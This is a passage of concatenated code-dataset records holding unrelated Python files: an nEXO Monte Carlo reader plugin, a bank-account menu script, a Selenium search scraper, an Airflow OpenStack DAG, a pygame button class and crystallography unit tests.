SVM\r\nfrom sklearn.svm import SVC\r\nsvm=SVC(random_state=20)\r\nsvm.fit(x_train,y_train)\r\n\r\n# test\r\nprint('Accuracy of SVM algorithm : {}'.format(svm.score(x_test,y_test)))\r\n# 0.9883040935672515\r\n","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":2813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"196747292","text":"import uproot\nimport strax\nimport numpy as np\nfrom glob import glob\nexport, __all__ = strax.exporter()\n\n@export\ndef get_tree(file):\n file_contents = uproot.open(file)\n all_ttrees = dict(file_contents.allitems(filterclass=lambda cls: issubclass(cls, uproot.tree.TTreeMethods)))\n tree = all_ttrees[b'nEXOevents;1']\n return tree\n\n@export\ndef get_from_tree(tree,arrays):\n return tree.lazyarrays(arrays,entrysteps=1,cache=uproot.cache.ArrayCache('500 MB'))\n\n@export\ndef get_from_path(path,arrays):\n all_files = glob(path,recursive=True)\n return uproot.iterate(all_files,\n b'nEXOevents',\n arrays,\n entrysteps=1,\n # entrysteps='500 MB'\n )\n\n@export\nclass MCreader(strax.Plugin):\n time: float\n nexttime: float\n parallel = False\n depends_on = tuple()\n dtype_original = {f'photons': #pre-configuration for individual source\n (\n ('energy', np.float, 'Photon energy (for wavelength)'),\n ('type', np.int, 'photon origin type, 1=scint, 2=cherenkov'),\n ('time', np.int64, 'photon arrival time, ns'),\n ('exacttime', np.float64, 'photon arrival time, fractional ns'),\n ('endtime', np.int64, 'strax endtime,ignore'),\n ('x', np.float, 'photon arrival x'),\n ('y', np.float, 'photon arrival y'),\n ('z', np.float, 'photon arrival z'),\n ),\n f'nest_hits':\n (\n ('x', np.float, 'hit x'),\n ('y', np.float, 'hit y'),\n ('z', np.float, 'hit z'),\n ('type', np.int, 'NEST interaction type'),\n ('time', np.int64, 'hit time, ns'),\n ('exacttime', np.float64, 'hit time, fractional ns'),\n ('endtime', np.int64, 'strax endtime,ignore'),\n ('energy', np.float, 'energy deposit in this hit'),\n ('n_photons', np.int, 'number of photons produced'),\n ('n_electrons', np.int, 'number of electrons produced'),\n ),\n\n }\n rechunk_on_save = True\n postponed_photons: strax.Chunk\n postponed_nest_hits: strax.Chunk\n\n\n def infer_dtype(self):\n return {f'photons_{self.sourcename}': self.dtype_original['photons'],\n f'nest_hits_{self.sourcename}': self.dtype_original['nest_hits']\n }\n\n def setup(self):\n self.data_iterator = get_from_path(self.config[f\"input_dir_{self.sourcename}\"],\n ['OPEnergy','OPType','OPTime','OPX','OPY','OPZ',\n 'NESTHitX','NESTHitY','NESTHitZ','NESTHitType','NESTHitT','NESTHitE','NESTHitNOP','NESTHitNTE'])\n self.chunk_start_time = 0\n self.event_time = np.int64(np.ceil(np.random.exponential(1 / self.config[f'rate_{self.sourcename}'])))\n self.postponed_photons=None\n self.postponed_nest_hits=None\n\n def compute(self,chunk_i):\n try:\n g4_chunk = next(self.data_iterator)\n except StopIteration as si:\n if (self.postponed_photons or self.postponed_nest_hits):\n result = {f'photons_{self.sourcename}': self.postponed_photons, f'nest_hits_{self.sourcename}': self.postponed_nest_hits}\n self.postponed_photons=None\n self.postponed_nest_hits=None\n return result\n else:\n raise si\n\n\n\n n_photons = len(g4_chunk[b'OPTime'].flatten()) #flatten the events * photons-in-each-event array into one of length total-photons\n n_hits = len(g4_chunk[b'NESTHitT'].flatten())\n\n photon_records = np.zeros(n_photons, dtype=self.dtype[f'photons_{self.sourcename}'])\n photon_records['energy'] = (g4_chunk[b'OPEnergy']).flatten()\n photon_records['type'] = g4_chunk[b'OPType'].flatten()\n photon_records['time'] = (g4_chunk[b'OPTime']+self.event_time).flatten().astype(np.int64)\n photon_records['exacttime'] = (g4_chunk[b'OPTime'] + self.event_time).flatten()\n photon_records['endtime'] = photon_records['time']+1\n photon_records['x'] = g4_chunk[b'OPX'].flatten()\n photon_records['y'] = g4_chunk[b'OPY'].flatten()\n photon_records['z'] = g4_chunk[b'OPZ'].flatten()\n\n hits = np.zeros(n_hits,dtype=self.dtype[f'nest_hits_{self.sourcename}'])\n hits['x'] = g4_chunk[b'NESTHitX'].flatten()\n hits['y'] = g4_chunk[b'NESTHitY'].flatten()\n hits['z'] = g4_chunk[b'NESTHitZ'].flatten()\n hits['type'] = g4_chunk[b'NESTHitType'].flatten()\n hits['time'] = (g4_chunk[b'NESTHitT']+self.event_time).flatten().astype(np.int64)\n hits['exacttime'] = (g4_chunk[b'NESTHitT']+ self.event_time).flatten()\n hits['endtime'] = hits['time']+1\n hits['energy'] = g4_chunk[b'NESTHitE'].flatten()\n hits['n_photons'] = g4_chunk[b'NESTHitNOP'].flatten()\n hits['n_electrons'] = g4_chunk[b'NESTHitNTE'].flatten()\n\n print(\n f\"Loaded source from {self.config[f'input_dir_{self.sourcename}']} chunk {chunk_i} time {self.event_time} name {self.sourcename} first/last time {photon_records['time'].min()}/{photon_records['time'].max()}\")\n\n\n photon_end = np.int64(max(np.ceil(photon_records['endtime'].max()), self.chunk_start_time+1))\n hits_end = np.int64(max(np.ceil(hits['endtime'].max()), self.chunk_start_time + 1))\n\n photon_records = self.chunk(start=self.chunk_start_time,end=photon_end, data=photon_records, data_type=f'photons_{self.sourcename}' )\n hits = self.chunk(start=self.chunk_start_time, end=hits_end, data=hits,\n data_type=f'nest_hits_{self.sourcename}')\n\n\n self.event_time += np.int64(np.ceil(np.random.exponential(1 / self.config[f'rate_{self.sourcename}'])))\n\n photon_records_merged = self.chunk_smoosh(photon_records,self.postponed_photons)\n nest_hits_merged = self.chunk_smoosh(hits,self.postponed_nest_hits)\n\n photons_now,self.postponed_photons = photon_records_merged.split(self.event_time,True)\n nest_hits_now,self.postponed_nest_hits = nest_hits_merged.split(self.event_time,True)\n\n photons_now.end = self.event_time\n nest_hits_now.end=self.event_time\n self.chunk_start_time=self.event_time\n\n result = {f'photons_{self.sourcename}': photons_now, f'nest_hits_{self.sourcename}': nest_hits_now}\n\n return result\n\n\n def chunk_smoosh(self,A : strax.Chunk,B:strax.Chunk):\n if not B: return A\n if not A: return B\n try:\n return strax.Chunk.concatenate(sorted([A,B],key = lambda x: x.start))\n except ValueError:\n merged_data = sort_by_time(np.concatenate((A.data, B.data)))\n start = min(A.start,B.start)\n end = max(A.end, B.end)\n return self.chunk(start=start,end=end, data = merged_data, data_type=A.data_type)\n\n\nimport numba\n@numba.jit(nopython=True, nogil=True, cache=True)\ndef sort_by_time(x):\n \"\"\"Sort pulses by time\n \"\"\"\n if len(x) == 0:\n # Nothing to do, and .min() on empty array doesn't work, so:\n return x\n sort_key = (x['time'] - x['time'].min())\n sort_i = np.argsort(sort_key)\n return x[sort_i]\n\n@export\nclass MCreader_factory(object):\n names = []\n source_plugins={}\n def make_MCreader(self, name : str, path:str, rate:float ):\n self.names.append(name)\n @strax.takes_config(\n strax.Option(f'input_dir_{name}', type=str, track=True,\n default=path,\n help=\"Directory where readers put data\"),\n strax.Option(f'rate_{name}', type=float, track=True,\n default=rate,\n help=\"rate [GHz] of this source\"),\n )\n class newMCreader(MCreader):\n sourcename = name\n provides = [f'photons_{sourcename}', f'nest_hits_{sourcename}']\n data_kind = {k: k for k in provides}\n\n newMCreader.__name__ = f'MCreader_{name}'\n self.source_plugins[name]=newMCreader\n return newMCreader\n\n def make_MCmergers(self):\n assert len(self.names)>0\n mergers=[]\n for key,type in MCreader.dtype_original.items():\n class MCmerger(strax.Plugin):\n depends_on = [f'{key}_{sourcename}' for sourcename in self.names]\n provides = key\n data_kind = key\n dtype = type\n rechunk_on_save = True\n def compute(self, chunk_i,**kwargs):\n input_arrays = np.concatenate([arg[1] for arg in kwargs.items()])\n output = sort_by_time(input_arrays)\n for arg in kwargs.items():\n # print(arg)\n print(f'merging {arg[0]}')\n if(len(arg[1])):\n print(arg[1]['time'].min(),arg[1]['time'].max())\n return output\n def cleanup(self,iters, wait_for):\n for d in iters.keys():\n if not self._fetch_chunk(d, iters):\n print(f'Source {d} is finished.')\n else:\n print(f'Source {d} is not exhausted, but was stopped early since another source finished first')\n return\n MCmerger.__name__ = f'MCmerger_{key}'\n mergers.append(MCmerger)\n return mergers\n\n\n\n\n\n\n\n\n\n\n@export\nclass MCReader_test_consumer(strax.Plugin):\n depends_on = ['photons']\n provides = 'test_consumer'\n dtype = strax.time_fields\n def compute(self,chunk_i,photons):\n result = np.zeros(min(len(photons),1),self.dtype)\n if(len(photons)):\n result['time'] = photons[0]['time']\n result['endtime'] = strax.endtime(photons)[0]+1\n print(photons['time'],chunk_i)\n print(f'is sorted: {np.all(np.diff(photons[\"time\"])>=0)}')\n return result\n\n","sub_path":"nEXO_strax/plugins/nEXO_MC_reader.py","file_name":"nEXO_MC_reader.py","file_ext":"py","file_size_in_byte":10023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"93177137","text":"contas=[]\ndef pede_nome():\n return(input(\"Digite o nome do Cliente: \"))\ndef pede_conta():\n return(input(\"Digite a Conta: \"))\ndef pede_saldo():\n return(float(input(\"Digite o saldo: \")))\ndef mostra_dados(nome,conta,saldo):\n print(\"Nome: %s Conta: %s Saldo: %f\"%(nome,conta,saldo))\ndef pede_nome_arquivo():\n return(input(\"Nome do Arquivo: \"))\ndef pesquisa(nome):\n pesq_nome = nome.lower()\n for p,e in enumerate(contas):\n if e[0].lower() == pesq_nome:\n return p\n return None\ndef novo():\n global contas\n cont = int(input(\"Quantos clientes deseja gravar: \"))\n n = 0\n while n < cont:\n nome = pede_nome()\n conta = pede_conta()\n saldo = pede_saldo()\n contas.append([nome,conta,saldo])\n n += 1\ndef apaga():\n global contas\n nome = pede_nome()\n p = pesquisa(nome)\n if p!=None:\n del contas[p]\n else:\n print(\"Nome não encontrado.\")\ndef saldo_altera():\n global contas\n nome = pede_nome()\n p = pesquisa(nome)\n if p != None:\n deseja = input(\"Se deseja depositar digite 1 se deseja sacar digite 0: \")\n if deseja == \"1\":\n novo_saldo = float(input(\"Quanto deseja depositar: \"))\n elif deseja == \"0\":\n novo_saldo = float(input(\"Quanto deseja retirar: \"))\n nome = contas[p][0]\n conta = contas[p][1]\n saldo = contas[p][2]+novo_saldo\n print(\"Encotrada a conta\")\n mostra_dados(nome,conta,saldo)\n contas[p]=[nome,conta,saldo]\ndef altera():\n p = pesquisa(pede_nome())\n if p != None:\n nome = contas[p][0]\n conta = contas[p][1]\n saldo = contas[p][2]\n print(\"Encontrado.\")\n mostra_dados(nome,conta,saldo)\n nome = pede_nome()\n conta = pede_conta()\n saldo = pede_saldo()\n contas[p]=[nome,conta,saldo]\n else:\n print(\"Nome não encontrado.\")\ndef lista():\n linha(30)\n for e in contas:\n mostra_dados(e[0],e[1],e[2])\n linha(30)\ndef le():\n global contas\n nome_arquivo = pede_nome_arquivo()\n arquivo = open(nome_arquivo,\"r\",encoding=\"utf-8\")\n contas=[]\n for i in arquivo.readlines():\n nome,conta,saldo = i.strip().split(\"#\")\n contas.append([nome,conta,saldo])\n arquivo.close()\ndef grava():\n nome_arquivo = pede_nome_arquivo()\n arquivo = open(nome_arquivo,\"w\",encoding=\"utf-8\")\n contas=[]\n for e in contas:\n arquivo.write(\"%s#%s#%f\\n\"%(e[0],e[1],e[2]))\n arquivo.close()\ndef valida_faixa_inteiro(pergunta,inicio,fim):\n while True:\n try:\n valor = int(input(pergunta))\n if inicio <= valor <= fim:\n return valor\n except ValueError:\n print(\"Valor inválido,favor digitar entre %d e %d\"%(inicio,fim))\ndef linha(tam):\n for i in range(tam):\n print(\"*\",end=\"\")\n print(\" \")\ndef opcao_menu(tam,opcao_menu):\n if tam > (len(opcao_menu)+1):\n print(\"* \",end=\"\")\n print(opcao_menu,end=\"\")\n numero_branco = (tam-3) - len(opcao_menu)\n print(\" \"*numero_branco,end=\"\")\n print(\"*\")\n else:\n print(\"Erro,tamanho da linha menor que nome de opção.\")\ndef menu():\n linha(30)\n opcao_menu(30,\"1 - Novo cadastro\")\n opcao_menu(30,\"2 - Altera cadastro\")\n opcao_menu(30,\"3 - Apagar cadastro\")\n opcao_menu(30,\"4 - Lista cadastros\")\n opcao_menu(30,\"5 - Grava Arquivo\")\n opcao_menu(30,\"6 - Lê Arquivo\")\n opcao_menu(30,\"7 - Alterar saldo\")\n opcao_menu(30,\"0 - Sair do sistema\")\n linha(30)\n return valida_faixa_inteiro(\"Opção: \",0,7)\n\nwhile True:\n opcao=menu()\n if opcao == 0:\n break\n elif opcao == 1:\n novo()\n elif opcao == 2:\n altera()\n elif opcao == 3:\n apaga()\n elif opcao == 4:\n lista()\n elif opcao == 5:\n grava()\n elif opcao == 6:\n le()\n elif opcao == 7:\n saldo_altera()\n","sub_path":"bancoArquivo.py","file_name":"bancoArquivo.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"405664160","text":"import os\nfrom collections import Counter\n\n_train_data_path = \"/home/caoyu/project/NLP-Project/text_classifier/data/hais/train_data.txt\"\nprint(_train_data_path)\ninputs = []\nlabels = []\nwith open(_train_data_path, \"r\", encoding=\"utf8\") as fr:\n for line in fr.readlines():\n try:\n text, label = line.strip().split(\"\")\n inputs.append(text.strip().split(\" \"))\n labels.append(label)\n except:\n continue\nprint(Counter(labels))","sub_path":"text_classifier/data/lilian/111.py","file_name":"111.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"546948218","text":"import pymysql\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\n\n\nclass Model:\n def __init__(self):\n self._url =''\n self._parser =''\n\n @property\n def url(self)-> str: return self._url\n @url.setter\n def url(self,url): self._url = url\n @property\n def parser(self)-> str: return self._parser\n @parser.setter\n def parser(self,parser): self._parser = parser\n\n\nclass Service:\n def __init__(self):\n pass\n def getResult(self,payload):\n browser = webdriver.Chrome('./chromedriver')\n browser.get(url=payload.url)\n soup = BeautifulSoup(browser.page_source, payload.parser)\n searchNum=''\n for i in soup.select('div#result-stats'):\n searchNum=i.text\n\n\n return searchNum\n def getData(self):\n conn = pymysql.connect(host='localhost', user='mariadb', password='mariadb',\n db='mariadb', charset='utf8')\n curs = conn.cursor()\n curs.execute(\"select * from table_store where state like '%의정부%' Limit 0,100 \")\n rows = curs.fetchall()\n storeNames = []\n for row in rows:\n storeNames.append(row[2])\n conn.close()\n return storeNames\n\nclass Controller:\n def __init__(self):\n self.service = Service()\n self.model = Model()\n\n def search(self):\n seq=0\n for i in self.service.getData():\n searchWord = '의정부'+'+'+i.replace(\" \", \"\")\n self.model.url = \"https://www.google.com/search?q={}&oq={}&aqs=chrome..69i57.4714j0j9&sourceid=chrome&ie=UTF-8\".format(searchWord, searchWord)\n self.model.parser = 'html.parser'\n num = self.service.getResult(self.model)\n print(\"seq:{}, 검색어:{}, 검색갯수:{}\".format(seq,searchWord,num))\n seq+=1\n\ndef print_menu():\n print('0. Exit\\n'\n '1. 크롤\\n')\n return input('Menu\\n')\n\napp = Controller()\n\nwhile 1:\n menu = print_menu()\n if menu == '0':\n break\n if menu == '1':\n app.search()\n","sub_path":"goyang/dbconnector.py","file_name":"dbconnector.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"75763601","text":"# -*- coding: utf-8 -*-\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\n### Openstack CLI Sample Dag\n\"\"\"\nimport airflow\nfrom airflow import DAG\nfrom airflow.operators import OpenStackOperator\nfrom airflow.operators.bash_operator import BashOperator\nfrom datetime import datetime, timedelta\n\n\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'start_date': airflow.utils.dates.days_ago(2),\n 'email': ['airflow@example.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=1),\n}\n\ndag = DAG('openstack_cli', default_args=default_args, schedule_interval=None)\n\n# print_date\nt1 = BashOperator(\n task_id='print_date',\n bash_command='date',\n dag=dag)\n\n## Note that the openrc.sh file needs to be placed on a volume that can be\n## accessed by the containers\n\n# openstack endpoint list\nt2 = OpenStackOperator(\n task_id='endpoint_list_task',\n openrc_file='/usr/local/airflow/dags/openrc.sh',\n openstack_command=['openstack', 'endpoint', 'list'],\n dag=dag)\n\n# openstack service list\nt3 = OpenStackOperator(\n task_id='service_list_task',\n openrc_file='/usr/local/airflow/dags/openrc.sh',\n openstack_command=['openstack', 'service', 'list'],\n dag=dag)\n\n# openstack server list\nt4 = OpenStackOperator(\n task_id='server_list_task',\n openrc_file='/usr/local/airflow/dags/openrc.sh',\n openstack_command=['openstack', 'server', 'list'],\n dag=dag)\n\n# openstack network list\nt5 = OpenStackOperator(\n task_id='network_list_task',\n openrc_file='/usr/local/airflow/dags/openrc.sh',\n openstack_command=['openstack', 'network', 'list'],\n dag=dag)\n\nt2.set_upstream(t1)\nt3.set_upstream(t1)\nt4.set_upstream(t1)\nt5.set_upstream(t1)\n\n","sub_path":"shipyard_airflow/dags/samples/openstack_api_call.py","file_name":"openstack_api_call.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"317457204","text":"################################################################################\n# CREATOR: Lucas Cowell\n# DATE: 27/12/2017\n# FILE NAME: buttonClass.py\n################################################################################\n\n\n\n################################################################################\n#### Imports\n################################################################################\n\nfrom createText import *\nimport pygame\npygame.init()\n\n\n\n################################################################################\n#### Class\n################################################################################\n\n################################################################################\n# Class: BoxBar\n# DESCRIPTION:\n# This is a class for an interactive sprite button, with parameters for text and\n# return values for when its been pressed.\n################################################################################\n\nclass Button(pygame.sprite.Sprite):\n\n\n################################################################################\n##FUNCTION: __init__\n##DESCRIPTION:\n##This function initializes the fields for use in button creation.\n##INPUTS:\n##self: The Button Object\n##screen: the values of the screen where the button is placed\n##buttonRect: the rectangle the button will be attached to\n##buttonIndex: used to check status of button\n##buttonText: The text to be displayed on the button\n##bgColor: the background color\n##ALGORITHM:\n##INITIALIZE Sprite with parameter of self\n##INITIALIZE font for sprite\n##SET buttonFont to freesansbold, size of 15\n##DEPRIVATIZE buttonRect and buttonIndex\n##IF buttonIndex is equal to None,\n## SET buttonIndex to 9\n##ELSE DEPRIVATIZE buttonIndex\n##IF buttonText is equal to None,\n## SET buttonText to 'Button'\n##ELSE DEPRIVATIZE buttonText\n##IF bgColor is equal to None,\n## SET bgColor to BLACK\n##ELSE DEPRIVATIZE bgColor\n#ENDIF\n##SET mouseOverButton, buttonDown, and buttonUp to False\n##SET visible to True\n##SET buttonDimensions to a buttonRect of size 2\n##SET image to the surface of a size given by buttonDimensions\n##FILL the image with color: BLACK\n##Now to define the states of the buttons: inactive, activeUp and activeDown\n##SET inactive to surface of size given by buttonDimensions\n##FILL inactive surface with bgColor\n##SET inactiveFg to surface with buttonDimensions 0-10, 1-10\n##FILL inactiveFg with color GREY3\n##ATTACH inactiveFg to the inactive button surface\n##SET activeUp to surface of size given by buttonDimensions\n##FILL activeUp surface with bgColor\n##SET activeUp to surface with buttonDimensions 0-10, 1-10\n##FILL activeUp with color GREY4\n##ATTACH activeUpFg to the activeUp button surface\n##SET activeDown to surface of size given by buttonDimensions\n##FILL activeDown surface with bgColor\n##SET activeDownFg to surface with buttonDimensions 0-10, 1-10\n##FILL activeDownFg with color GREY5\n##ATTACH activeDownFg to the activeDown button surface\n##ATTACH image to inactive button state\n##CREATE rect using get_rect() function with image values\n##SET topleft of rect to equal buttonrect with given paramater 2\n################################################################################\n\n def __init__(self, screen, buttonRect, buttonIndex = None, buttonText = None, fontSize = None, textColor = None, bgColor = None):\n\n # this line is required to properly create the sprite\n pygame.sprite.Sprite.__init__(self)\n pygame.font.init()\n\n #Assign all values dummy values if none are given by method calling this method\n self.buttonRect = buttonRect\n if buttonIndex == None: self.buttonIndex = 9\n else: self.buttonIndex = buttonIndex\n if buttonText == None: self.buttonText = \"Button\"\n else: self.buttonText = buttonText\n if fontSize == None: self.fontSize = 15\n else: self.fontSize = fontSize\n if textColor == None: self.textColor = GREY8\n else: self.textColor = textColor\n if bgColor == None: self.bgColor = BLACK\n else: self.bgColor = bgColor\n\n #set booleans to be overriden by mouse\n self.mouseOverButton = False\n self.buttonDown = False\n self.buttonUp = False\n self.visible = True\n\n #Set image button will be placed on\n buttonDimensions = self.buttonRect[2:]\n self.image = pygame.Surface(buttonDimensions)\n self.image.fill(BLACK)\n\n #define inactive Surface\n self.inactive = pygame.Surface(buttonDimensions)\n self.inactive.fill(self.bgColor)\n self.inactiveFg = pygame.Surface((5,5))\n self.inactiveFg.fill(GREY3)\n self.inactive.blit(self.inactiveFg, (5,5))\n self.inactiveText = createTextSurface(self.buttonText, buttonDimensions, self.fontSize, self.textColor, GREY3)\n self.inactive.blit(self.inactiveText, (5,5))\n\n #define activeUp Surface\n self.activeUp = pygame.Surface(buttonDimensions)\n self.activeUp.fill(self.bgColor)\n self.activeUpFg = pygame.Surface((5,5))\n self.activeUpFg.fill(GREY4)\n self.activeUp.blit(self.activeUpFg, (5,5))\n self.activeUpText = createTextSurface(self.buttonText, buttonDimensions, self.fontSize, self.textColor, GREY4)\n self.activeUp.blit(self.activeUpText, (5,5))\n\n #define activeDown Surface\n self.activeDown = pygame.Surface(buttonDimensions)\n self.activeDown.fill(self.bgColor)\n self.activeDownFg = pygame.Surface((5,5))\n self.activeDownFg.fill(GREY5)\n self.activeDown.blit(self.activeDownFg, (5,5))\n self.activeDownText = createTextSurface(self.buttonText, buttonDimensions, self.fontSize, self.textColor, GREY5)\n self.activeDown.blit(self.activeDownText, (5,5))\n\n #Finalize Sprite specifications\n self.image.blit(self.inactive, (0,0))\n self.rect = self.image.get_rect()\n self.rect.topleft = (buttonRect[:2])\n\n\n################################################################################\n##FUNCTION: update\n##DESCRIPTION:\n##This function tells the button how to behave when pressed or hovered over\n##INPUTS:\n##self: the Button object\n##ALGORITHM:\n##GET mouse position from function get_pos()\n##GET mouse status from function get_pressed()\n##IF mouseOverButton is False and the variable collidepoint, which tells whether the mouse is over the button is True,\n## SET mouseOverButton to True\n## ATTACH image to activeUp, on co-ordinates (0,0)\n##ELSEIF mouseOverButton is False and the variable collidepoint, which tells whether the mouse is over the button is False,\n## SET mouseOverButton to False\n## ATTACH image to inactive, on co-ordinates (0,0)\n##ENDIF\n##SET buttonUp to False\n##IF mouseOverButton is True:\n## IF NOT buttonDown and mouseButtonStatus is equal to 1:\n## SET buttonDown to True\n## ATTACH image to activeDown, on co-ordinates (0,0)\n## ELIF buttonDown and mouseButton is equal to 0:\n## SET buttonDown to False\n## SET buttonUp to True\n## ATTACH image to activeUp, on co-ordinates (0,0)\n## ENDIF\n##ENDIF\n################################################################################\n\n def update(self):\n mousePos = pygame.mouse.get_pos()\n mouseButtonStatus = pygame.mouse.get_pressed()\n\n #Update variables that represent mouse over button to whether False or True, depending on whether or not the mouse is over the button\n if not self.mouseOverButton and self.rect.collidepoint(mousePos):\n self.mouseOverButton = True\n self.image.blit(self.activeUp, (0,0))\n elif self.mouseOverButton and not self.rect.collidepoint(mousePos):\n self.mouseOverButton = False\n self.image.blit(self.inactive, (0,0))\n\n #Update variuables that represent whether or not the mouse has been pushed, to False or True.\n self.buttonUp = False\n if self.mouseOverButton:\n if not self.buttonDown and mouseButtonStatus[0] == 1:\n self.buttonDown = True\n self.image.blit(self.activeDown, (0,0))\n elif self.buttonDown and mouseButtonStatus[0] == 0:\n self.buttonDown = False\n self.buttonUp = True\n self.image.blit(self.activeUp, (0,0))\n\n def move(self, xVect, yVect):\n self.rect = self.rect.move(xVect, yVect)\n\n\n\n\n\n\n\n################################################################################\n#### Program\n################################################################################\n\n# First line\n\n\n\n\n","sub_path":"CriticalMass/background/userInput/buttonClass.py","file_name":"buttonClass.py","file_ext":"py","file_size_in_byte":8587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"53308905","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\Users\\conne\\Desktop\\Flock_SSG-master\\Flock\\src\\argChecker.py\n# Compiled at: 2018-12-05 20:24:20\n# Size of source mod 2**32: 1204 bytes\nfrom . import settings\nimport Flock.src.docs.showDocs as UsageDocs\nHELP_FLAG = '-help'\nVERBOSE_FLAG = '-verbose'\nIS_LOCAL_FLAG = '-local'\n\ndef parse(argv):\n RETURN_BOOL = False\n if len(argv) > 1:\n for arg in argv:\n if arg == HELP_FLAG:\n settings.LOG('-help called')\n UsageDocs.showDocs(1)\n elif arg == VERBOSE_FLAG:\n settings.LOG('-verbose called')\n RETURN_BOOL = True\n else:\n settings.LOG('Argument [ ' + arg + ' ] invalid!')\n\n return RETURN_BOOL","sub_path":"pycfiles/Flock_SSG-0.1.0-py3-none-any/argChecker.cpython-37.py","file_name":"argChecker.cpython-37.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"590476363","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 14 15:07:16 2021\n\n@author: Gerd Duscher\n\"\"\"\n\nimport unittest\nimport numpy as np\n\nimport sys\nsys.path.append(\"../pyTEMlib/\")\nimport pyTEMlib.KinsCat as ks\n\n\nclass TestUtilityFunctions(unittest.TestCase):\n\n def test_Zuo_fig_3_18(self):\n tags = ks.Zuo_fig_3_18(verbose=False)\n self.assertIsInstance(tags, dict)\n self.assertEqual(tags['crystal_name'], 'Silicon')\n self.assertEqual(tags['lattice_parameter_nm'], 0.514)\n self.assertEqual(tags['acceleration_voltage_V'], 101.6*1000.0)\n self.assertEqual(tags['convergence_angle_mrad'], 7.1)\n np.testing.assert_allclose(tags['zone_hkl'], np.array([-2, 2, 1]))\n\n def test_example(self):\n tags = ks.example(verbose=False)\n self.assertEqual(tags['plot HOLZ'], 1)\n self.assertEqual(tags['plot HOLZ'], 1)\n\n def test_zone_mistilt(self):\n rotated_zone_axis = ks.zone_mistilt([1, 0, 0], [45, 0, 0])\n np.testing.assert_allclose(rotated_zone_axis, [1, 0, 0])\n\n rotated_zone_axis = ks.zone_mistilt([1, 0, 0], [0, 10, 0])\n np.testing.assert_allclose(rotated_zone_axis, [0.98480775, 0., 0.17364818])\n\n with self.assertRaises(TypeError):\n ks.zone_mistilt([1, 0, 0], [0, 0])\n\n with self.assertRaises(TypeError):\n ks.zone_mistilt([1j, 0, 0], [0, 0])\n\n def test_get_symmetry(self):\n # Todo: better test\n self.assertTrue(ks.get_symmetry(np.identity(3), [[0, 0, 0], [0.5, 0.5, 0.5]], ['Fe', 'Fe']))\n\n def test_ball_and_stick(self):\n in_tags = {'unit_cell': np.identity(3), 'base': [[0, 0, 0], [0.5, 0.5, 0.5]], 'elements': ['Fe', 'Fe']}\n corners, balls, atomic_number, bonds = ks.ball_and_stick(in_tags, extend=1, max_bond_length=1.)\n\n corners_desired = [[(0.0, 0.0), (0.0, 0.0), (0.0, 1.0)], [(0.0, 0.0), (0.0, 1.0), (1.0, 1.0)],\n [(0.0, 0.0), (1.0, 1.0), (1.0, 0.0)], [(0.0, 0.0), (1.0, 0.0), (0.0, 0.0)],\n [(0.0, 1.0), (0.0, 0.0), (0.0, 0.0)], [(1.0, 1.0), (0.0, 0.0), (0.0, 1.0)],\n [(1.0, 1.0), (0.0, 1.0), (1.0, 1.0)], [(1.0, 1.0), (1.0, 1.0), (0.0, 1.0)],\n [(1.0, 1.0), (1.0, 0.0), (0.0, 0.0)], [(0.0, 1.0), (0.0, 0.0), (1.0, 1.0)],\n [(0.0, 1.0), (1.0, 1.0), (0.0, 0.0)], [(0.0, 1.0), (1.0, 1.0), (1.0, 1.0)]]\n np.testing.assert_allclose(corners, corners_desired)\n\n balls_desired = [[0., 0., 0.], [0., 0., 1.], [0., 1., 0.], [0., 1., 1.], [1., 0., 0.], [1., 0., 1.],\n [1., 1., 0.], [1., 1., 1.], [0.5, 0.5, 0.5]]\n np.testing.assert_allclose(balls, balls_desired)\n\n self.assertTrue(len(atomic_number) == 9)\n\n bonds_desired = [[(0.0, 0.5), (0.0, 0.5), (0.0, 0.5)], [(0.0, 0.5), (0.0, 0.5), (1.0, 0.5)],\n [(0.0, 0.5), (1.0, 0.5), (0.0, 0.5)], [(0.0, 0.5), (1.0, 0.5), (1.0, 0.5)],\n [(1.0, 0.5), (0.0, 0.5), (0.0, 0.5)], [(1.0, 0.5), (0.0, 0.5), (1.0, 0.5)],\n [(1.0, 0.5), (1.0, 0.5), (0.0, 0.5)], [(1.0, 0.5), (1.0, 0.5), (1.0, 0.5)],\n [(0.5, 0.0), (0.5, 1.0), (0.5, 0.0)], [(0.5, 0.0), (0.5, 1.0), (0.5, 1.0)],\n [(0.5, 1.0), (0.5, 0.0), (0.5, 0.0)], [(0.5, 1.0), (0.5, 0.0), (0.5, 1.0)],\n [(0.5, 1.0), (0.5, 1.0), (0.5, 0.0)], [(0.5, 0.0), (0.5, 0.0), (0.5, 1.0)],\n [(0.5, 1.0), (0.5, 1.0), (0.5, 1.0)]]\n # 